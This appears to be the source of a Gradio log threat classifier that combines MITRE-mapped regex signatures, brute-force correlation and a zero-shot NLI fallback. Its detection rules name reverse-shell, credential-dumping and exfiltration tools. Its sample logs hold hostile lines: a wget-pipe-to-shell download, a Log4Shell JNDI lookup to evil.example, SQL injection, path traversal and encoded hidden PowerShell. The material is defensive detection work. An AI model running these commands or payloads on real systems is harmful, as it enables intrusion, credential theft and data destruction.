File size: 19,071 Bytes
7e34a39
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
"""Log Threat Classifier.

Hybrid detector for pasted system / security logs:
  1. A signature engine (regex rules mapped to categories, severity and MITRE ATT&CK) – precise, explainable.
  2. Cross-line correlation (e.g. brute force, "success after many failures").
  3. A transformer zero-shot NLI model (DeBERTa-v3 base) as a semantic fallback for lines that no
     signature matched. It can only raise a line to *Low/Medium* – never High/Critical.
There is no labelled-log fine-tune behind this demo; treat results as triage hints, not verdicts.
"""

from __future__ import annotations

import re
from collections import Counter, defaultdict

import gradio as gr
import pandas as pd
import torch
from transformers import AutoModelForSequenceClassification, AutoTokenizer

torch.set_num_threads(2)

NLI_ID = "MoritzLaurer/deberta-v3-base-zeroshot-v2.0"
nli_tok = AutoTokenizer.from_pretrained(NLI_ID)
nli_mdl = AutoModelForSequenceClassification.from_pretrained(NLI_ID).eval()
ENTAIL = 0  # id2label: 0 entailment, 1 not_entailment

H_THREAT = "This log entry describes malicious activity, an attack or an intrusion attempt."
H_BENIGN = "This log entry describes routine system activity."

# (name, regex, severity 0-100, MITRE technique, explanation)
RULES: list[tuple[str, str, int, str, str]] = [
    ("Log4Shell / JNDI injection", r"\$\{jndi:|\$\{\$\{::-j\}", 97, "T1190", "JNDI lookup string typical of Log4j exploitation"),
    ("Reverse shell", r"bash\s+-i\s*>&|/dev/tcp/|\bnc(?:at)?\b.*\s-e\s|\bmkfifo\b.*\bnc\b|socat\b.*exec:|python\d?\s+-c\s+['\"]import socket", 96, "T1059.004", "Interactive shell redirected to a remote host"),
    ("Credential dumping", r"mimikatz|sekurlsa|lsass(?:\.exe)?\s.*dump|procdump.*lsass|comsvcs\.dll.*MiniDump|ntds\.dit|secretsdump", 95, "T1003", "Tooling or access pattern used to steal credentials"),
    ("Ransomware behaviour", r"vssadmin\s+delete\s+shadows|wbadmin\s+delete\s+(?:catalog|backup)|bcdedit.*recoveryenabled\s+no|\.(?:locked|encrypted|crypt|lockbit|ryuk)\b|ransom(?:ware|_note)?|YOUR FILES (?:ARE|HAVE BEEN) ENCRYPTED", 95, "T1486", "Shadow-copy deletion / encrypted file extensions / ransom note"),
    ("Encoded / obfuscated PowerShell", r"powershell(?:\.exe)?\s.*(?:-enc(?:odedcommand)?|-e)\s+[A-Za-z0-9+/=]{20,}|FromBase64String|IEX\s*\(|Invoke-Expression|DownloadString\(|-nop\s.*-w\s+hidden", 88, "T1059.001", "Obfuscated PowerShell commonly used for malware staging"),
    ("Download-and-execute", r"(?:curl|wget)\s[^|;\n]*\|\s*(?:ba)?sh|certutil.*-urlcache|bitsadmin.*/transfer|mshta\s+https?://|regsvr32.*/i:http|rundll32.*javascript:", 90, "T1105", "Remote payload fetched and executed"),
    ("Defense evasion – log tampering", r"wevtutil\s+cl\b|Clear-EventLog|audit log (?:was )?cleared|EventID[=: ]+1102\b|history\s+-c|unset\s+HISTFILE|rm\s+-rf?\s+/var/log|Set-MpPreference.*Disable|systemctl\s+(?:stop|disable)\s+(?:auditd|rsyslog|falcon|wazuh)", 88, "T1070", "Logs or security tooling disabled / wiped"),
    ("SQL injection", r"union(?:\s|\+|%20)+(?:all(?:\s|\+|%20)+)?select|(?:'|%27)\s*or\s*(?:'|%27)?1(?:'|%27)?\s*=\s*(?:'|%27)?1|information_schema|sleep\(\d+\)|benchmark\(|xp_cmdshell|;\s*drop\s+table|waitfor\s+delay", 82, "T1190", "SQL metacharacters / injection payload in request"),
    ("Command injection", r"(?:;|\||&&|`|\$\()\s*(?:cat|ls|id|whoami|uname|wget|curl|nc|bash|sh|ping)\b.*(?:HTTP/|GET|POST)|cmd=(?:cat|id|whoami|ls)|/bin/(?:ba)?sh\s+-c", 84, "T1059", "Shell metacharacters in request parameters"),
    ("Path traversal / LFI", r"(?:\.\./){2,}|%2e%2e(?:%2f|/)|\.\.\\\.\.\\|/etc/(?:passwd|shadow)|boot\.ini|win\.ini|/proc/self/environ", 78, "T1083", "Directory traversal sequence or sensitive file access"),
    ("Cross-site scripting", r"<script|%3cscript|onerror\s*=|onload\s*=|javascript:|<img[^>]+src=x", 66, "T1059.007", "Script payload in request"),
    ("Web shell access", r"(?:c99|r57|b374k|wso|china ?chopper)\.php|cmd\.(?:php|jsp|aspx)|shell\.(?:php|jsp|aspx)\?|eval\(base64_decode|assert\(\$_(?:POST|REQUEST)", 90, "T1505.003", "Known web shell filename or webshell code"),
    ("Persistence – scheduled task / autorun", r"schtasks\s+/create|crontab\s+-[el]?\s*.*(?:wget|curl|nc|bash)|reg\s+add\s+.*\\Run\b|HKLM\\.*\\Run\b|authorized_keys.*(?:modified|written|appended)|new service was installed|EventID[=: ]+7045\b|systemctl\s+enable\s+\S+\.service.*tmp", 72, "T1053", "New autorun / scheduled task / SSH key"),
    ("Privilege escalation", r"sudo:.*(?:incorrect password attempts|NOT in sudoers)|COMMAND=/bin/(?:ba)?sh|chmod\s+(?:[u+]*s|[4267]7\d\d)|setuid|added to (?:the )?(?:administrators|sudo|wheel)|usermod\s+-a?G\s+(?:sudo|wheel)|EventID[=: ]+(?:4728|4732|4756)\b|su: FAILED SU|useradd\b.*-(?:o\s+)?-?u\s*0\b", 68, "T1068", "Attempt to gain elevated privileges"),
    ("New account created", r"new user:|useradd\b|adduser\b|net\s+user\s+\S+\s+\S+\s+/add|EventID[=: ]+4720\b", 55, "T1136", "A new local account appeared"),
    ("Data exfiltration", r"(?:scp|rsync|sftp)\s.*@(?!10\.|192\.168\.|172\.(?:1[6-9]|2\d|3[01])\.)\d+\.\d+\.\d+\.\d+|exfil|(?:sent|upload(?:ed)?|outbound)\D{0,20}\d{3,}\s?(?:MB|GB)|dns\s+tunnel|mega\.nz|transfer\.sh|pastebin\.com/raw", 76, "T1041", "Large or unusual outbound transfer"),
    ("Recon / vulnerability scanner", r"nmap|masscan|sqlmap|nikto|dirbuster|gobuster|wpscan|nessus|acunetix|zgrab|User-Agent:?\s*\"?(?:Mozilla/5\.0 \(compatible; (?:Nmap|Nikto))|port scan(?:ning)?|SYN scan|Connection attempt on port", 50, "T1595", "Scanner signature or scan behaviour"),
    ("Authentication failure", r"failed password|authentication failure|invalid user|login failed|logon failure|EventID[=: ]+4625\b|failed login|bad password|access denied for user|Permission denied \(publickey|FAILED LOGIN|\b401\b.*(?:login|auth)|Invalid credentials", 42, "T1110", "Failed authentication attempt"),
    ("SYN flood / DoS", r"possible SYN flooding|SYN[_ ]flood|too many connections from|rate limit exceeded|connection flood|DDoS|UDP flood", 62, "T1499", "Volumetric or protocol flooding indicator"),
    ("Firewall / IDS block", r"\b(?:DROP|REJECT|BLOCK(?:ED)?|DENY)\b.*(?:SRC=|src[_= ]|from )|firewall.*(?:blocked|denied)|IDS alert|snort\[|suricata|ET (?:SCAN|EXPLOIT|MALWARE|TROJAN)|\[Priority: [12]\]", 38, "T1595", "Perimeter control reacted to suspicious traffic"),
    ("Suspicious process chain (Office β†’ shell)", r"(?:cmd|powershell|wscript|cscript|mshta)\.exe.*(?:winword|excel|outlook|powerpnt)\.exe|(?:winword|excel|outlook|powerpnt)\.exe.*(?:cmd|powershell|wscript|cscript|mshta)\.exe", 80, "T1204.002", "Office application spawning a shell / script host"),
    ("Suspicious tool / LOLBin", r"\b(?:certutil|bitsadmin|mshta|regsvr32|rundll32|wmic|psexec|cscript|wscript)(?:\.exe)?\b\s+\S+", 45, "T1218", "Living-off-the-land binary invoked"),
    ("Error / service issue", r"\b(?:ERROR|CRITICAL|FATAL|segfault|panic|out of memory|OOM|stack trace|Traceback)\b", 22, "", "Operational error – not necessarily malicious"),
]
COMPILED = [(n, re.compile(rx, re.I), sev, t, why) for n, rx, sev, t, why in RULES]

BENIGN_HINTS = re.compile(
    r"accepted (?:publickey|password) for|session (?:opened|closed)|started session|\bINFO\b|\bDEBUG\b|GET [^\"]*\" 200 |\" 304 |health ?check|systemd\[\d+\]: (?:started|starting|finished)|cron\[\d+\]: \(\w+\) CMD|logged in successfully|EventID[=: ]+4624\b|NetworkManager|dhclient|backup completed|completed successfully",
    re.I,
)
IP_RE = re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b")
USER_RE = re.compile(r"(?:for(?: invalid user)?|user[=: ]+|Account Name:\s+)\s*([A-Za-z0-9_.\-$]+)", re.I)
SUCCESS_RE = re.compile(r"accepted (?:password|publickey)|logged in successfully|EventID[=: ]+4624\b|session opened for user", re.I)

BANDS = [(80, "Critical", "#7f1d1d"), (60, "High", "#dc2626"), (40, "Medium", "#f59e0b"), (20, "Low", "#eab308"), (0, "Info", "#16a34a")]


def band(sev: int) -> str:
    for lo, name, _ in BANDS:
        if sev >= lo:
            return name
    return "Info"


@torch.inference_mode()
def nli_threat_scores(lines: list[str]) -> list[float]:
    """P(malicious) via a 2-way softmax over the entailment logits of a threat / routine hypothesis pair."""
    if not lines:
        return []
    out: list[float] = []
    for i in range(0, len(lines), 16):
        chunk = [l[:300] for l in lines[i : i + 16]]
        logit = {}
        for key, hyp in (("t", H_THREAT), ("b", H_BENIGN)):
            enc = nli_tok(chunk, [hyp] * len(chunk), return_tensors="pt", padding=True, truncation=True, max_length=128)
            logit[key] = nli_mdl(**enc).logits[:, ENTAIL]
        out += torch.softmax(torch.stack([logit["t"], logit["b"]], dim=1), dim=1)[:, 0].tolist()
    return out


def analyse(raw: str, use_nli: bool, threshold: int):
    lines = [l.rstrip() for l in (raw or "").splitlines() if l.strip()][:300]
    if not lines:
        raise gr.Error("Paste some log lines first.")

    rows = []
    for idx, line in enumerate(lines, 1):
        hits = [(n, sev, tech, why) for n, rx, sev, tech, why in COMPILED if rx.search(line)]
        hits.sort(key=lambda h: -h[1])
        rows.append({"line": idx, "text": line, "hits": hits})

    # -- cross-line correlation ---------------------------------------------------------------
    fails_by_ip, fails_by_user = Counter(), Counter()
    fail_lines = defaultdict(list)
    for r in rows:
        if any(h[0] == "Authentication failure" for h in r["hits"]):
            ip = (IP_RE.findall(r["text"]) or ["?"])[0]
            fails_by_ip[ip] += 1
            fail_lines[ip].append(r["line"])
            m = USER_RE.search(r["text"])
            if m:
                fails_by_user[m.group(1)] += 1
    brute_ips = {ip for ip, c in fails_by_ip.items() if c >= 4 and ip != "?"}
    users_by_ip = defaultdict(set)
    for r in rows:
        if any(h[0] == "Authentication failure" for h in r["hits"]):
            ip = (IP_RE.findall(r["text"]) or ["?"])[0]
            m = USER_RE.search(r["text"])
            if m:
                users_by_ip[ip].add(m.group(1))
    findings: list[str] = []
    for ip in brute_ips:
        kind = "password spraying / user enumeration" if len(users_by_ip[ip]) >= 3 else "brute force"
        findings.append(f"πŸ”΄ **{fails_by_ip[ip]} failed logins from `{ip}`** ({kind}, {len(users_by_ip[ip])} account(s)) – MITRE T1110")
    for r in rows:
        if SUCCESS_RE.search(r["text"]):
            ips = IP_RE.findall(r["text"])
            if ips and ips[0] in brute_ips:
                r["hits"].insert(0, ("Successful login after brute force", 92, "T1078", f"{ips[0]} succeeded after {fails_by_ip[ips[0]]} failures – possible account compromise"))
                findings.append(f"🚨 **Possible account compromise:** successful login from `{ips[0]}` on line {r['line']} after repeated failures – MITRE T1078")

    for r in rows:
        if r["hits"] and r["hits"][0][0] == "Authentication failure":
            ips = IP_RE.findall(r["text"])
            if ips and ips[0] in brute_ips:
                n, sev, tech, why = r["hits"][0]
                r["hits"][0] = ("Brute-force attempt", 70, tech, f"Part of {fails_by_ip[ips[0]]} failures from {ips[0]}")

    # -- NLI fallback ---------------------------------------------------------------------------
    nli_idx = [i for i, r in enumerate(rows) if use_nli and not r["hits"] and not BENIGN_HINTS.search(r["text"])]
    nli_scores = dict(zip(nli_idx, nli_threat_scores([rows[i]["text"] for i in nli_idx])))

    table, spans = [], []
    for i, r in enumerate(rows):
        if r["hits"]:
            name, sev, tech, why = r["hits"][0]
            if BENIGN_HINTS.search(r["text"]) and sev < 30:
                sev, name, why = 5, "Routine activity", "Matches benign pattern"
            src = "signature"
            if len(r["hits"]) > 1:
                sev = min(100, sev + 3 * (len(r["hits"]) - 1))
                why += f" (+{len(r['hits']) - 1} more indicator(s): {', '.join(h[0] for h in r['hits'][1:3])})"
        elif i in nli_scores:
            p = nli_scores[i]
            sev = int(round(min(45, 15 + (p - 0.5) * 70))) if p > 0.5 else int(p * 10)
            name, tech, src = ("Suspicious (semantic)" if sev >= 20 else "Unclassified"), "", "NLI zero-shot"
            why = f"No signature matched; zero-shot threat probability {p:.0%}"
        else:
            sev, name, tech, src, why = (3 if BENIGN_HINTS.search(r["text"]) else 8), "Routine activity", "", "heuristic", "No indicators"
        label = "Threat" if sev >= threshold else "Benign"
        table.append({"Line": r["line"], "Label": label, "Severity": sev, "Level": band(sev), "Category": name, "MITRE": tech, "Source": src, "Why": why, "Log": r["text"][:160]})
        spans.append((r["text"] + "\n", label if label == "Threat" and sev < 60 else (band(sev) if label == "Threat" else None)))

    df = pd.DataFrame(table)
    sev_list = sorted(df["Severity"].tolist(), reverse=True)
    top3 = sev_list[:3]
    overall = int(min(100, (top3[0] if top3 else 0) * 0.7 + (sum(top3[1:]) / max(len(top3[1:]), 1)) * 0.3 + (8 if len(brute_ips) else 0)))
    n_threat = int((df["Label"] == "Threat").sum())
    overall_label = "Threat" if overall >= threshold else "Benign"

    cats = df[df["Label"] == "Threat"].groupby("Category")["Severity"].agg(["count", "max"]).sort_values("max", ascending=False)
    summary = [f"## {'🚨' if overall_label == 'Threat' else 'βœ…'} Overall: **{overall_label}** β€” severity **{overall}/100** ({band(overall)})",
               f"{n_threat} of {len(df)} lines flagged as threats (threshold β‰₯ {threshold})."]
    if findings:
        summary += ["", "### Correlated findings"] + [f"- {f}" for f in findings]
    if len(cats):
        summary += ["", "### Threat categories"] + [f"- **{c}** – {int(row['count'])} line(s), max severity {int(row['max'])}" for c, row in cats.iterrows()]
    hl_colors = {n: c for _, n, c in BANDS}
    hl_colors["Threat"] = "#f59e0b"
    spans = [(t, l if l in hl_colors else None) for t, l in spans]
    return {"Threat": overall / 100, "Benign": 1 - overall / 100}, overall, "\n".join(summary), spans, df.drop(columns=[]).sort_values("Severity", ascending=False).reset_index(drop=True)


SSH_EX = """Oct 29 03:12:01 web01 sshd[2211]: Failed password for invalid user admin from 203.0.113.45 port 51234 ssh2
Oct 29 03:12:03 web01 sshd[2213]: Failed password for invalid user oracle from 203.0.113.45 port 51240 ssh2
Oct 29 03:12:05 web01 sshd[2215]: Failed password for root from 203.0.113.45 port 51246 ssh2
Oct 29 03:12:07 web01 sshd[2217]: Failed password for root from 203.0.113.45 port 51251 ssh2
Oct 29 03:12:09 web01 sshd[2219]: Failed password for ubuntu from 203.0.113.45 port 51260 ssh2
Oct 29 03:12:14 web01 sshd[2221]: Accepted password for ubuntu from 203.0.113.45 port 51266 ssh2
Oct 29 03:12:15 web01 sshd[2221]: pam_unix(sshd:session): session opened for user ubuntu
Oct 29 03:12:40 web01 sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/bin/bash
Oct 29 03:13:02 web01 bash[2290]: wget http://203.0.113.45/x.sh -O- | sh
Oct 29 03:14:10 web01 CRON[2301]: (root) CMD (/usr/lib/php/sessionclean)
Oct 29 03:15:00 web01 systemd[1]: Started Daily apt download activities."""
WEB_EX = """10.0.0.12 - - [29/Oct/2026:10:01:11 +0000] "GET /index.html HTTP/1.1" 200 5120 "-" "Mozilla/5.0"
10.0.0.12 - - [29/Oct/2026:10:01:12 +0000] "GET /static/app.css HTTP/1.1" 200 8201 "-" "Mozilla/5.0"
198.51.100.7 - - [29/Oct/2026:10:02:44 +0000] "GET /products.php?id=1' UNION SELECT username,password FROM users-- HTTP/1.1" 200 912 "-" "sqlmap/1.7"
198.51.100.7 - - [29/Oct/2026:10:02:50 +0000] "GET /download?file=../../../../etc/passwd HTTP/1.1" 200 1432 "-" "curl/8.0"
198.51.100.9 - - [29/Oct/2026:10:03:01 +0000] "GET /?q=<script>alert(1)</script> HTTP/1.1" 200 640 "-" "Mozilla/5.0"
198.51.100.9 - - [29/Oct/2026:10:03:20 +0000] "GET / HTTP/1.1" 200 640 "-" "${jndi:ldap://evil.example/a}"
10.0.0.15 - - [29/Oct/2026:10:04:00 +0000] "GET /health HTTP/1.1" 200 2 "-" "kube-probe/1.28\""""
WIN_EX = """EventID=4624 Logon Type=3 Account Name: svc_backup Source Network Address: 10.1.1.20 Status: Success
EventID=4688 New Process Name: C:\\Windows\\System32\\cmd.exe Creator Process: C:\\Program Files\\Microsoft Office\\WINWORD.EXE
EventID=4688 New Process Name: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe CommandLine: powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA
EventID=4688 New Process Name: C:\\Windows\\System32\\vssadmin.exe CommandLine: vssadmin delete shadows /all /quiet
EventID=1102 The audit log was cleared. Subject: Account Name: Administrator
Windows Update service entered the running state
Disk C: has 12% free space remaining"""

with gr.Blocks(title="Log Threat Classifier") as demo:
    with gr.Column(elem_id="col"):
        gr.Markdown(
            "# πŸ›‘οΈ Log Threat Classifier\n"
            "Paste system / security logs (syslog, auth.log, web access logs, Windows events) β†’ **Threat / Benign** per line, "
            "a **severity score (0-100)**, MITRE ATT&CK mapping and correlated findings.  \n"
            "Engine: signature rules + cross-line correlation + [DeBERTa-v3 zero-shot NLI](https://huggingface.co/MoritzLaurer/deberta-v3-base-zeroshot-v2.0) semantic fallback for unmatched lines."
        )
        with gr.Row():
            with gr.Column():
                inp = gr.Textbox(label="Logs (up to 300 lines)", lines=14, placeholder="Paste log lines here…")
                with gr.Row():
                    use_nli = gr.Checkbox(True, label="Use transformer (zero-shot) for unmatched lines")
                    thr = gr.Slider(20, 80, value=40, step=5, label="Threat threshold (severity β‰₯)")
                btn = gr.Button("Classify", variant="primary")
            with gr.Column():
                lab = gr.Label(label="Overall verdict", num_top_classes=2)
                score = gr.Slider(0, 100, label="Overall severity score", interactive=False)
                summary = gr.Markdown()
        hl = gr.HighlightedText(label="Annotated log", color_map={n: c for _, n, c in BANDS} | {"Threat": "#f59e0b"}, show_legend=True, combine_adjacent=False)
        table = gr.Dataframe(label="Per-line results (sorted by severity)", wrap=True, interactive=False)
        gr.Examples([[SSH_EX, True, 40], [WEB_EX, True, 40], [WIN_EX, True, 40]], inputs=[inp, use_nli, thr], outputs=[lab, score, summary, hl, table], fn=analyse, cache_examples=True, cache_mode="lazy", example_labels=["SSH brute force β†’ compromise", "Web attack traffic", "Windows ransomware precursor"])
        gr.Markdown("⚠️ Triage aid only: rules are heuristic and the NLI fallback is zero-shot (not fine-tuned on logs). Logs are processed in memory and not stored. Don't paste secrets.")
    btn.click(analyse, [inp, use_nli, thr], [lab, score, summary, hl, table], api_name="classify")

if __name__ == "__main__":
    demo.queue(max_size=20).launch(theme=gr.themes.Soft(), css="#col {max-width: 1150px; margin: 0 auto;}")